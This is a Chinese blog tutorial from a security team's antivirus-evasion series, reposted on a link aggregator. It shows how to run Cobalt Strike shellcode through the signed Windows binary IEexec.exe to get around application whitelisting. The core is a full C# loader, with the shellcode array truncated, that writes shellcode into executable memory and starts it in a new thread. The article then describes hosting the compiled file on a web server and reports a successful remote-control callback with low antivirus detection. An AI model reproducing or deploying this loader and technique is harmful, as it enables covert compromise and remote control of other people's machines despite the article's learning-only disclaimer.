13

远控免杀专题(46)-白名单IEexec.exe执行payload(VT免杀率25-69)

 4 years ago
source link: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA%3D%3D&%3Bmid=2247486094&%3Bidx=1&%3Bsn=1b54d04bd74b77987260befb99646aa1
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

7bYrqae.jpg!web

声明: Tide安全团队原创文章,转载请声明出处! 文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载: https://github.com/TideSec/BypassAntiVirus

一、IEexec.exe介绍

IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。可以将IEExec.exe应用程序用作主机,以运行使用URL启动的其他托管应用程序。

IEexe.exe在64位系统路径为: C:\Windows\Microsoft.NET\Framework64\v2.0.50727

二、IEExec.exe执行payload

我们先使用CS生成监听上线的C#payload(注意我们要生成64位的shellcode)。

![99e48d57-9e7b-48fe-839d-f1a2c13033be.png]

然后将我们使用VS创建一个C#控制台程序。

![bf0b42d4-4a5f-4bbf-a8e2-066ef75c6bec.png]

编写如下代码(namespace别忘记修改为自己的),然后将CS生成的payload填写到下面代码的数组中。

using System;

using System.Runtime.InteropServices;

namespace testIEexec

{

class Program

{

private static UInt32 MEM_COMMIT = 0x1000;

private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

private static UInt32 MEM_RELEASE = 0x8000;

public static void Main(string[] args)

{

// 替换下面数组中的内容

byte[] proc = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00,............. };

UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length);

IntPtr hThread = IntPtr.Zero;

UInt32 threadId = 0;

// prepare data

PROCESSOR_INFO info = new PROCESSOR_INFO();

IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));

Marshal.StructureToPtr(info, pinfo, false);

// execute native code

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

WaitForSingleObject(hThread, 0xFFFFFFFF);

// retrive data

info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));

Marshal.FreeHGlobal(pinfo);

CloseHandle(hThread);

VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);

}

[DllImport("kernel32")]

private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32")]

private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);

[DllImport("kernel32")]

private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

[DllImport("kernel32")]

private static extern bool CloseHandle(IntPtr handle);

[DllImport("kernel32")]

private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

[DllImport("kernel32")]

private static extern IntPtr GetModuleHandle(string moduleName);

[DllImport("kernel32")]

private static extern UInt32 GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]

private static extern UInt32 LoadLibrary(string lpFileName);

[DllImport("kernel32")]

private static extern UInt32 GetLastError();

[StructLayout(LayoutKind.Sequential)]

internal struct PROCESSOR_INFO

{

public UInt32 dwMax;

public UInt32 id0;

public UInt32 id1;

public UInt32 id2;

public UInt32 dwStandard;

public UInt32 dwFeature;

// if AMD

public UInt32 dwExt;

}

}

}


编译生成exe,然后部署到我们的web服务器上,例如我这里使用的是phpstudy。

UzY3In7.jpg!web

使用管理员身份打开cmd,分别运行下面两条命令。

Uj2IBvj.png!web

这里的文件路径自己替换为自己部署的exe的路径即可。

M3muymf.png!web

可发现CS已成功上线,程序成功执行,执行程序的pid为17116。

VNZRB3f.png!web

系统任务管理器中pid 为17116的程序名称。

7bINnuA.jpg!web

虽然此方法的免杀率不是特别的高,但是在很多情况下,即使主机处于仅受信任的应用程序可以运行的模式下,IEexex.exe在某些情况下也可以绕过白名单,因为它可能是受信任的二进制文件,并带有Microsoft签名。

三、参考资料

《Application Whitelist Bypass using IEexec.exe》:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

qINZvmz.png!web

guān

zhù

men

Tide安全团队正式成立于2019年1月 是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以 关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

QRzqqyB.png!web

maEBfqm.gif


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK